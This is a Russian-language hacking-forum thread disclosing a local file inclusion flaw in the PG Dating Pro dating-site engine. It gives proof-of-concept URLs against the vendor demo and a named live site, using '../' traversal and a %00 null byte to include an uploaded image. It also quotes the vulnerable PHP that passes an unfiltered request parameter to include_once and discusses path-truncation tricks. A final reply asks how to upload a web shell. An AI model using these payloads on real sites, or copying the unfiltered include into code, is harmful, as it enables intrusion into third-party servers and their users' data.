Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Веб-уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   PG Dating pro [ALL VER.] - LFI (https://forum.antichat.xyz/showthread.php?t=343980)

Pirotexnik 26.07.2012 20:31

[Intro]​
Расковырял двиг, нашел лфи.

Все версии уязвимы, включая демо на офф cайте.

Стоимость движка 340$

[PoC]​

Цитата:

Сообщение от None
http://demo.datingpro.com/dating/ecards.php?sel=pay_by_paysys&id_order=8&paysys=../../../version

Цитата:

Сообщение от None
http://elka.me/ecards.php?sel=pay_by_paysys&id_order=8&paysys=../../../uploades/icons/big_thumb_493_7f60a337.gif%00

[Vuln. Code]​

Код:

function PayFromPaysystem(){
        global $lang, $config, $smarty, $dbconn, $user;

        $form['file_name'] = "ecards.php";
        $id_order = (isset($_REQUEST["id_order"]) && intval($_REQUEST["id_order"]) > 0) ? intval($_REQUEST["id_order"]) : null;
        if ($id_order == null) {
                header("Location: ".$config['server'].$config['site_root']."/".$form['file_name']);
        } else {
                $settings = GetSiteSettings(array('site_unit_costunit'));

                $paysys = $_REQUEST["paysys"]; //получаем переменную

                $card = GetCardOrderData($id_order);
                $amount = $card["price"];
                if ($amount == '0.00') {
                        header("Location: ".$config['server'].$config['site_root']."/".$form['file_name']);
                }
                $product_name = $amount." ".$settings["site_unit_costunit"]." ".$lang["cards"]["payment_product"];
                $dbconn->Execute("INSERT INTO ".BILLING_REQUESTS_TABLE."
                (id_user, id_product, count_curr, currency, date_send, status, paysystem, id_group) VALUES
                ('".$user[0]."', '-2', '".$amount."', '".$settings["abbr"]."','".date("Y-m-d H:i:s")."','send','".$paysys."','".$card['id_order']."')");
                $id_trunzaction =  $dbconn->Insert_ID();
                include_once "./include/systems/functions/".$paysys.".php";//инклуд без фильтраций
                MakePayment($paysys, $amount, $settings["site_unit_costunit"], $id_trunzaction, $product_name, array("force_disable_recurring"=>1));
                header("Location: ".$config['server'].$config['site_root']."/".$form['file_name']."?sel=my_orders");
        }
}

[Require]​
1) нужно быть залогиненым

2) должна передаватся переменная id_order

©Pirotexnik

___

Дабы не создавать новых тем вопрос к форумчанам по поводу нормализации пути - на демо не могу обрезать .php, пробовал: %00 , /[4096]/, /.[4096]/., ./[4096]./. Стоит там Apache httpd 2.2.16 ((Debian)), версия php не известна. В чем соль?

___

UPD: соль была в MQ=on

Hapk 01.04.2013 15:10

А кто может подсказать как залить шелл? просто есть доступ в админку


Время: 18:58